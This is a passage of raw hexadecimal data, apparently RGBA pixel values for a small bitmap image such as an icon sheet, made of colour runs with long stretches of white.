FFFF00AAFFFF00A8FFFF00A2FFFF00A2FFFF00A8FFFF00AAFFFF00AAFFFF00AA
FFFF00A9FFFF00AAFFFF00B4FFFF467DA1FF2022A2FF0406D3FF0706D0FF0807
D1FF0909D1FF0909D1FF0909D1FF0909D1FF0909D1FF0909D1FF0909D1FF0909
D1FF0807D1FF0707D0FF0504D5FF454691FF3A30A2FF301DD8FF321DD4FF3220
D4FF3320D5FF3320D5FF3320D5FF3320D5FF3320D5FF3320D5FF210CD1FF8677
F4FFD0D2C5FF00000CFF0A0B1DFF47474EFF2B2AB2FF1512F1FF1714EDFF1815
EDFF1815EDFF1815EDFF1815EDFF1613EDFF1714EDFF1815EDFF1815EDFF1815
EDFF1815EDFF1512EDFF1410F3FF4B4C9DFF215BBCFF0569FFFF0767FEFF0968
FEFF0058FEFF0053FEFF4292FEFF509CFEFF0664FEFF005DFEFF0969FEFF0967
FEFF0868FEFF0767FEFF056AFFFF4A6C9EFF22239CFF0808CDFF0A0BCBFF0B0C
CAFF0C0CCAFF0C0BCCFF0C0DCCFF0C0DCCFF0C0DCCFF0C0DCCFF0C0BCCFF0C0C
CAFF0B0CCAFF080ACBFF0708CFFF48488EFF3A2FA0FF2F1BD5FF311ED3FF321F
D3FF3320D3FF3320D3FF3320D3FF3320D3FF321FD2FF1C08CEFFB0A7FFFFA7A9
99FF000000FF0C0C15FF000004FF606161FF2D26AFFF180FEDFF1A11E9FF1C11
E9FF1C13EBFF180EEAFF0A00E9FF1E15EAFF0F05E9FF1007E9FF1C13EBFF1C11
EBFF1B12E9FF1A11E9FF170EF0FF4E4C99FF2440B8FF083DFFFF0A3BFEFF0020
FEFF6F92FEFFFFFFFEFFFFFFFEFFA1B6FEFFABBCFEFF7095FEFF0033FEFF0C3D
FEFF0B3CFEFF0A3BFEFF073CFFFF4B5C9CFF232396FF0909C8FF0C0CC5FF0E0E
C5FF0E0EC5FF0F0FC5FF0F0FC5FF0F0FC5FF0F0FC5FF0F0FC5FF0F0FC5FF0E0E
C5FF0E0EC5FF0C0CC5FF0909CAFF49498AFF392D9DFF2D1AD3FF301BD0FF311E
D0FF301FD0FF321ED0FF311ED0FF301CD0FF1D09CDFFD6D0FFFF737668FF0000
00FF0D0D0FFF000000FFA2A495FF8F8CA4FF2D24ADFF1A0AEBFF1D0DE7FF1E10
E9FF1A0BE8FF3123EAFFEEF2FCFFC7C7F8FFDFE3FBFF8F8BF4FF0B00E6FF1F0F
E8FF1E10E9FF1C0EE7FF190BEEFF4E4A96FF242CB6FF0916FFFF0008FEFF6069
FEFFFFFFFEFFC8CBFEFF0000FEFF0009FEFF000BFEFF0512FEFF1F2BFEFF0712
FEFF0E1AFEFF0C18FEFF0915FFFF4B509AFF242494FF0808C5FF0C0CC1FF0C0C
C3FF0D0DC3FF0F0FC3FF0E0EC3FF0E0EC3FF0E0EC3FF0F0FC3FF1010C3FF0F0F
C3FF0E0EC3FF0C0CC2FF0909C7FF494989FF3A2E9DFF2D18D3FF301CD1FF311C
D1FF301DD1FF321FD1FF2D1ACFFF2613D0FFEEEBFFFF484A3EFF010000FF0C0C
0CFF000000FFCBCDBAFF8778F9FF4D478CFF2E25ABFF1B09EBFF1E0DE7FF1E0C
E9FF1100E6FFFFFFFEFF1707E7FFA7A1F6FFE5E4FBFFFFFFFFFF6F65F0FF1706
E7FF1F0DE9FF1D0BE7FF1A08EEFF4F4996FF2522B6FF0A07FFFF0000FEFFFFFF
FEFFFFFFFEFF0000FEFF0D0AFEFF100DFEFF100DFEFF0F0DFEFF0401FEFF2320
FEFF0000FEFF0C09FEFF0906FFFF4C4B9AFF202092FF0000C5FF0000C0FF0101
C0FF0808C1FF0606C1FF0202C0FF0202C0FF0202C0FF0505C0FF0F0FC3FF0F0F
C4FF0E0EC4FF0C0CC3FF0909C7FF49498AFF3A2C9DFF311DD4FF311CD0FF2F1D
D0FF321FD1FF2A17CFFF3926D7FFF7F6FFFF26271FFF050505FF0B0B0BFF0405
02FFE9E9DCFF6150E6FF1F09D3FF554E8DFF2F24ABFF1F0CEBFF1E0DE7FF1A09
E8FF584DEEFF9A92F4FF7166F0FFD5D2F9FF3728EBFFF7F6FDFFD3D1F9FF0F00
E7FF1F0EE9FF1D0CE7FF1A09EEFF4F4996FF2626B6FF0808FFFF0E0EFEFFFFFF
FEFFC3C3FEFF0000FEFF1010FEFF1010FEFF1010FEFF0A0AFEFF2525FEFFFFFF
FEFFAFAFFEFF0000FEFF0909FFFF4C4C9AFFC8C8BEFFFFFFFFFFFFFFFFFFFFFF
FFFFD4D4F4FFF6F6FCFFFFFFFFFFFFFFFFFFFFFFFFFFF5F5FCFF0000BFFF0F0F
C4FF0E0EC4FF0C0CC3FF0909C7FF49498AFF3B2F9EFF3620D5FF3823D3FF3621
D1FF2713CEFF5241E0FFF0F2EBFF0D0E09FF090909FF070707FF191A14FFF6F5
F6FF4331DBFF2611CFFF2C18D6FF554E8DFF2F25ABFF220EEDFF2511E9FF1E0B
E7FF5446EEFFA29CF5FF6358EEFFF4F3FEFF5043ECFFF6F5FDFFCECBF9FF1000
E7FF1F0EE9FF1D0CE7FF1A09EEFF4F4996FF2525B6FF0C0CFFFF0202FEFFFFFF
FEFFD3D3FEFF0000FEFF0F0FFEFF1010FEFF1010FEFF0E0EFEFF0303FEFFCECE
FEFF8D8DFEFF0000FEFF0909FFFF4C4C9AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF0000BFFF7C7CDFFFFFFFFFFFFFFFFFFFFFFFFFFFE3E3F7FF0000BEFF0E0E
C3FF0D0DC3FF0B0BC1FF0909C7FF494989FF3D2F9EFF3922D7FF3B26D5FF2D18
D2FF7D6DEFFFDDDECEFF000000FF0B0B0BFF020202FF36372EFFF2F0FFFF2D1B
D3FF2A15CFFF2D19CEFF2C18D5FF564E8DFF3125ACFF250FEEFF2812EAFF2A13
EBFF1904E9FFFBFCFEFF2C1DE9FF867BF2FFD0CCF9FFFFFFFFFF5D50EDFF1806
E7FF1D0DE9FF1B0BE7FF1A09EEFF4F4996FF2525B6FF1010FFFF0000FEFFECEC
FEFFFFFFFEFF0909FEFF0404FEFF0E0EFEFF0F0FFEFF0B0BFEFF0A0AFEFF0808
FEFF0000FEFF0A0AFEFF0A0AFFFF4B4B9AFFB9B9B9FFFFFFFFFF9F9FE8FF3434
D1FF1010C8FF2727CDFF2B2BCFFFFFFFFFFFFFFFFFFFE3E3F8FF0202C4FF1515
C9FF1414C9FF1212CAFF0F0FD0FF49498AFF3F309EFF3C25D8FF2A12D1FFA79B
FDFFBBBCAAFF000000FF151515FF050505FF636457FFE7E2FFFF2C17D3FF3824
D2FF3C27D5FF3C26D5FF3E26DBFF564F8FFF3226ACFF2710EDFF2A13E9FF2C16
EBFF2A14EAFF2F19EAFFDFDBFBFFE3E3FBFFE7E7FCFF786CF1FF1B04E8FF2915
EAFF2914EAFF2A12EAFF280FF1FF504996FF2626B6FF1111FFFF0B0BFEFF1E1E
FEFFFFFFFEFFFFFFFEFF1B1BFEFF0000FEFF0000FEFF3535FEFF1B1BFEFF1313
FEFF1515FEFF1313FEFF1111FFFF4C4C9AFFB9B9B9FFFFFFFFFFA3A3EAFF3E3E
D4FF0F0FCBFF2A2AD0FF3535D2FFFFFFFFFFFFFFFFFFE4E4F8FF0505C7FF1616
CCFF1515CCFF1313CAFF0F0FD1FF49498AFF3F2F9EFF2B11D6FFCFC5FFFF8B8D
7AFF000000FF161616FF000000FF939684FFCAC1FFFF2E15D2FF412BD7FF422C
D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF3225ACFF2A10EFFF2C13EBFF2E15
EBFF2F16EBFF2C14EAFF2108E9FF1D05E9FF1F05E9FF270EE9FF2F17EBFF2E16
EBFF2E15EBFF2B13EBFF290FF2FF504996FF2525B6FF1111FFFF1313FEFF0707
FEFF1818FEFFD6D6FEFFFFFFFEFFFFFFFEFFBEBEFEFF4040FEFF1010FEFF1616
FEFF1515FEFF1313FEFF1010FFFF4B4B9AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF0000C3FF7D7DE4FFFFFFFFFFFFFFFFFFFFFFFFFFE5E5FAFF0000C9FF1111
CDFF1010CDFF0E0ECCFF0A0AD3FF474789FF34249DFFEAE4FFFF56584BFF0000
00FF0F0F0FFF000000FFBDC0AEFFA293FDFF2D14D3FF4028D7FF4028D7FF4028
D7FF4027D7FF3F25D7FF4024DEFF554E8DFF3123ADFF270BEFFF280EEBFF2A10
EBFF2C11EBFF2B11EBFF2B11EBFF2C11EBFF2B11EBFF2B11EBFF2B11EBFF2C11
EBFF2A10EBFF280EEBFF270AF2FF4E4796FF2121B7FF0A0AFFFF0C0CFFFF0E0E
FFFF0909FFFF0000FDFF0000FFFF0000FFFF0000FFFF0909FFFF0F0FFFFF0F0F
FFFF0E0EFFFF0C0CFFFF0909FFFF494998FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFC9C9F5FFE6E6FBFFFFFFFFFFFFFFFFFFFFFFFFFFEAEAFBFF2222D0FF3333
D3FF3333D2FF3131D2FF3232D6FF555598FFAFADB9FF52534CFF252525FF3232
32FF333332FFDBDCDAFF8B7BF2FF4C37DAFF5945DCFF5945DCFF5946DCFF5844
DCFF5845DCFF5744DCFF5945E0FF615B9CFF3A30B3FF4833F3FF4531EFFF4733
EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633
EFFF4733EFFF4631EFFF4732F4FF5C55A4FF2929C3FF3939FFFF3434FFFF3535
FFFF3737FFFF3737FFFF3737FFFF3737FFFF3737FFFF3737FFFF3737FFFF3737
FFFF3535FFFF3535FFFF3636FFFF5252ACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
BFFFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF2352B9FF0F61FFFF0C5CFFFF0D5D
FFFF0C5CFFFF0C5CFFFF0C5CFFFF0C5CFFFF0C5CFFFF0C5CFFFF0C5CFFFF0C5D
FFFF0D5BFFFF0C5DFFFF1063FFFF49649AFF1E5885FF004FFFFF0131FFFF023A
FFFF013BFFFF013BFFFF013BFFFF013BFFFF013BFFFF013BFFFF013BFFFF013B
FFFF023AFFFF0139FFFF0039FFFF465B9EFF4C741FFF509601FF4F9302FF5094
03FF509302FF509302FF509302FF509302FF509302FF509302FF509302FF5093
02FF509403FF4F9302FF519800FF607647FF686B76FF4A839CFF52738AFF5472
8AFF54748AFF54748AFF54748AFF54748AFF54748AFF54748AFF54738AFF5474
8AFF54728AFF537389FF4A829AFF7A7C84FF344EB0FF2556F2FF2654EBFF2755
EBFF2755EBFF2755EBFF2855EBFF2855EBFF2855EBFF2855EBFF2755EBFF2755
EBFF2754EBFF2654EBFF2657F7FF536397FF20323BFF047C87FF0787FFFF0816
F7FF0928F8FF092BF8FF092AF8FF092AF8FF092AF8FF092AF8FF092BF8FF092B
F8FF082BF8FF0729F8FF0527FEFF4555A0FF536C1FFF567C00FF577C00FF587B
00FF587D00FF587D00FF587D00FF587D00FF587D00FF587D00FF587D00FF587D
00FF567B00FF577C00FF578000FF627244FF79312FFF682E32FF1CD0FCFF23C4
EDFF23C2EAFF23C2EAFF23C2EAFF23C2EAFF23C2EAFF23C2EAFF23C2EAFF23C2
EAFF23C2EBFF1AD4FFFF653138FF855453FFCCC9BCFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A39EFF222E35FF080B14FF0A7576FF0BD8
FFFF0C1EF8FF0C12F7FF0C1FF8FF0C1FF8FF0C1FF8FF0C1FF8FF0C1DF8FF0C1D
F8FF0B1EF8FF081BF8FF0718FEFF48509EFF2E9090FF1CBFBFFF1EBDBDFF1FBD
BDFF20BCBDFF20BCBEFF20BCBEFF20BCBEFF20BCBEFF20BCBEFF20BCBEFF20BC
BDFF1FBDBDFF1EBBBDFF1BC0C1FF508886FF743333FF720B09FF642C31FF0EE0
FFFF14D4FFFF15D2FFFF15D2FFFF15D2FFFF15D2FFFF15D2FFFF15D2FFFF15D2
FFFF10DDFFFF3D7A95FF750401FF825858FFB9BABAFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9B9C9DFF232528FF050A0DFF0C0001FF0E61
67FF0EFFFFFF0F60F9FF0F00F6FF0F0FF8FF0F11F8FF0F11F8FF0F11F8FF0E12
F8FF0E10F6FF0C10F6FF090DFDFF494B9CFF20A2BEFF05DBFFFF08D9FFFF0AD9
FFFF0AD9FFFF0BD8FFFF0AD6FFFF0AD6FFFF0AD6FFFF0AD6FFFF0AD6FFFF09D6
FFFF09D6FFFF07D5FFFF04DCFFFF4891A2FF723131FF6B0E0EFF700806FF6029
30FF09E0FFFF10CFFFFF11CEFFFF11CEFFFF11CEFFFF11CEFFFF11CEFFFF10CF
FFFF0CD8FFFF730400FF6A0B0BFF815656FF742E21FF961B00FF911C00FF931F
00FF941F00FF942000FF942000FF942000FF942000FF942000FF942000FF941F
00FF931E00FF921C00FF991C00FF75504AFF202020FF2A2929FF000000FF0C00
00FF0E5760FF10FFFFFF10BCFDFF1010F6FF1004F7FF100FF8FF100FF8FF0F0E
F8FF0E0DF8FF0C0BF6FF0908FEFF49499BFF2B84B3FF15A9F9FF17A7F4FF18A7
F4FF19A7F7FF1DB2DEFF20BBC5FF1FBAC8FF1FBAC8FF1FBAC8FF1FBAC8FF20BA
C8FF1EBBC8FF1CBBC8FF1ABECDFF4F868BFF722E2EFF6A0A0AFF6C1010FF7209
06FF583841FF06E3FFFF10D0FFFF10D0FFFF10D0FFFF10D0FFFF11CEFFFF0BD6
FFFF3387A3FF700100FF690909FF815656FF7C4026FFA7400CFFA03B0DFFA03B
0EFFA23D10FFA23D10FFA23D10FFA23D10FFA23D10FFA23D10FFA23D10FFA23C
0FFFA13B0EFFA0390CFFA73909FF7A5A4CFF2B2B2BFFBBBBBBFFEBEBEBFF1A1A
1AFF0D0000FF104B51FF10F3FFFF10F2FEFF106DFAFF1007F7FF1010F8FF0F0F
F8FF0E0EF8FF0C0CF6FF0909FEFF49499BFF43249EFF430FD5FF400CD1FF3F0E
D1FF400CDBFF4F3D65FF5D6F00FF5B6A00FF5B6A00FF5B6A00FF5B6B00FF5B69
00FF5A6800FF5A6700FF5A6800FF636947FF722F2FFF6D0C0CFF711616FFD7BE
BEFF6C0000FF4D5161FF06E3FFFF11D0FFFF11D0FFFF11D0FFFF11D0FFFF09DB
FFFF534451FF6D0806FF690A0AFF815555FF7D4125FFAA420FFFA54311FFA541
11FFA03C0FFFA13B0FFFA13C0FFFA23D10FFA23D10FFA23D10FFA23D10FFA23C
0FFFA13B0EFFA0390CFFA73909FF7A5A4CFF202020FF989898FFC2C2C2FF1E1E
1EFF0D0000FF0F808FFF0FF3FFFF10EAFEFF1055FAFF1008F6FF1010F8FF0F0F
F8FF0E0EF8FF0C0CF6FF0909FEFF49499BFF5645A5FF350DD6FF4A28D8FF4F2E
D8FF3C18DEFF4C4365FF5D6D00FF5D6900FF5D6A00FF5D6A00FF5D6A00FF5D68
00FF5C6700FF5B6600FF5B6700FF646847FF722E2EFF711010FF721111FF6B09
09FF6D0F0FFF750000FF406E85FF07E0FFFF11D0FFFF11D0FFFF11D0FFFF07DE
FFFF671A1CFF6C0B0AFF690A0AFF815555FF752F21FF9D2700FF992700FF9A2A
00FF9B2C00FF982800FF952200FF931E00FF911D00FF921D00FF921D00FF921C
00FF921B00FF911800FF971A00FF75504AFF242424FF1C1C1CFF010101FF1100
00FF158F9AFF14FFFFFF11ABFCFF0E06F6FF0F06F7FF0F0FF8FF0F0FF8FF0E0E
F8FF0D0DF8FF0B0BF6FF0909FEFF49499BFF503DA3FFEBE6FDFFEFEBFAFF370F
D3FF4C1FD8FF3078E1FF15D1EAFF15C9EAFF15C7EAFF15C7EAFF15C8EAFF14C8
EAFF14C8EAFF12C8EAFF0FCCEFFF4B8B96FF722F2FFF6E0505FF761515FF7717
17FF781717FF731414FF7A0000FF3386A3FF08DEFFFF10CFFFFF10CFFFFF06E2
FFFF710301FF690C0CFF690A0AFF815555FFBDC3C7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9DA1A3FF262626FF0E0E0EFF130000FF1691
96FF17FFFFFF1750F9FF1703F8FF1715F7FF1616F8FF1515F8FF1515F8FF1515
F8FF1414F8FF1212F6FF0F0FFFFF49499BFF8D85B0FFFFFFFFFFFFFFFFFF8B71
E5FF4B19D5FF2F85F2FF0FE3FFFF12DBFFFF11D9FFFF10DAFFFF10D8FFFF10D8
FFFF0FDAFFFF0DDAFFFF0BE1FFFF4891A3FF743232FFCFADADFF730A0AFF7917
17FF842929FF882D2DFF791818FF880600FF3897B2FF0FE1FFFF16D3FFFF0CE5
FFFF810806FF771515FF781212FF825555FFCCCCBAFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A59CFF252525FF100000FF139890FF15C1
FFFF160EF7FF170EF7FF1717F7FF1717F7FF1717F7FF1717F7FF1717F7FF1616
F7FF1515F7FF1313F8FF0F0FFFFF49499BFF432CA0FFBBABF4FF775AE2FF5634
DBFF5022DCFF446FBDFF37BA9EFF38B4A1FF38B4A1FF38B4A1FF37B4A1FF37B4
A1FF36B4A1FF34B3A0FF33B7A3FF54807AFF742E2EFF770F0FFF791515FF740B
0BFF8E3737FF9A4C4CFF7A1515FF7D1919FF890702FF418DA5FF0FE7FFFF0FE5
FFFF7B1B1CFF7C1413FF791212FF825555FF2B35A5FF2036EBFF2035E4FF2136
E4FF2236E4FF2238E4FF2237E4FF2237E4FF2237E4FF2237E4FF2238E4FF2236
E4FF2136E4FF2035E4FF2038F0FF4D528EFF231F1FFF0B868CFF0E5DFFFF1000
F9FF110FF9FF1111FAFF1111FAFF1111FAFF1111FAFF1111FAFF1111FAFF1111
FAFF1010FAFF0E0EFAFF0A0AFFFF47479AFF452BA0FF6540E3FF491ED8FF4D24
DAFF4E23E4FF5E516CFF6C8100FF6B7B04FF6B7B04FF6B7B04FF6B7B04FF6B7B
04FF6B7B02FF6A7A00FF6C8000FF646946FF732D2DFF790C0CFF7D1515FFCFAC
ACFF740808FF7B1111FF7C1515FF7C1515FF7C1515FF890300FF536272FF02F6
FFFF63424BFF7D0B0AFF7B0E0EFF825454FF313AB0FF4757F6FF4352F0FF4253
F0FF4353F0FF4354F0FF4354F0FF4354F0FF4354F0FF4354F0FF4354F0FF4353
F0FF4253F0FF4152F0FF4556F7FF565CA1FF304D7AFF3341FFFF3128FAFF3333
FAFF3333FAFF3333FAFF3333FAFF3333FAFF3333FAFF3333FAFF3333FAFF3333
FAFF3333FAFF3131FAFF3232FDFF5555AAFF4C39A7FF6443E1FF6342DEFF6443
E0FF6341E8FF6E6B89FF7A942BFF799133FF799133FF799133FF799133FF7991
33FF799133FF789131FF7A9332FF6F7854FF763535FF923636FF8F3232FF9033
33FF913636FF913636FF913636FF913636FF913636FF913636FF982A27FF8155
5AFF638EA1FF942D2CFF913434FF855A5AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFC0C0FFC0C0BFFFC0C0
BFFFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFF252525FF0F0F0FFF0E0E0EFF0F0F
0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F
0FFF0F0F0FFF0E0E0EFF0E0E0EFF4C4C4CFF2D78C2FF20A6FFFF1DA0FFFF1E9F
FFFF1DA0FFFF1DA0FFFF1DA0FFFF1DA0FFFF1DA0FFFF1DA0FFFF1DA0FFFF1D9E
FFFF1E9FFFFF1DA0FFFF1FA9FFFF5078A0FF2BA452FF19E65BFF18E15AFF19E1
5BFF19E15BFF19E15BFF19E15BFF19E15BFF19E15BFF19E15BFF19E15BFF19E1
5BFF19E15BFF18E15AFF19E75CFF4D9262FF2F2D2BFF1E373DFF2ECEF3FFA7D2
85FFFDB004FFECB419FFEAB51CFFEAB51CFFEAB51CFFEAB51CFFEAB51CFFEAB5
1CFFEAB51DFFEAB41CFFF2BA1CFF928050FF262626FF0E0E0EFF101010FF1111
11FF111111FF111111FF111111FF111111FF111111FF111111FF111111FF1111
11FF111111FF101010FF0E0E0EFF494949FF2B60B7FF1771FDFF196FF6FF1A6E
F6FF1A70F6FF1A70F6FF1A70F6FF1970F6FF1970F6FF1A70F6FF1A70F6FF1A70
F6FF1A6FF6FF196DF6FF1872FFFF506D9CFF31A056FF1FD25CFF20CF5CFF21CF
5DFF21CF5DFF21D05DFF21D05DFF21D05DFF21D05DFF21D05DFF21D05DFF21CF
5DFF21CF5DFF20CF5CFF1ED55EFF4E9164FF2D2D2DFF161311FF150502FF1377
99FF4DE2ECFFDFB021FFEBAA0BFFE1AC18FFE1AC19FFE1AC19FFE1AC19FFE1AC
19FFE0AC19FFE0AB17FFE7B015FF95824EFF252525FF0B0B0BFF0D0D0DFF0E0E
0EFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F
0FFF0E0E0EFF0D0D0DFF0A0A0AFF494949FF2A4FB2FF1152F9FF1252F2FF1553
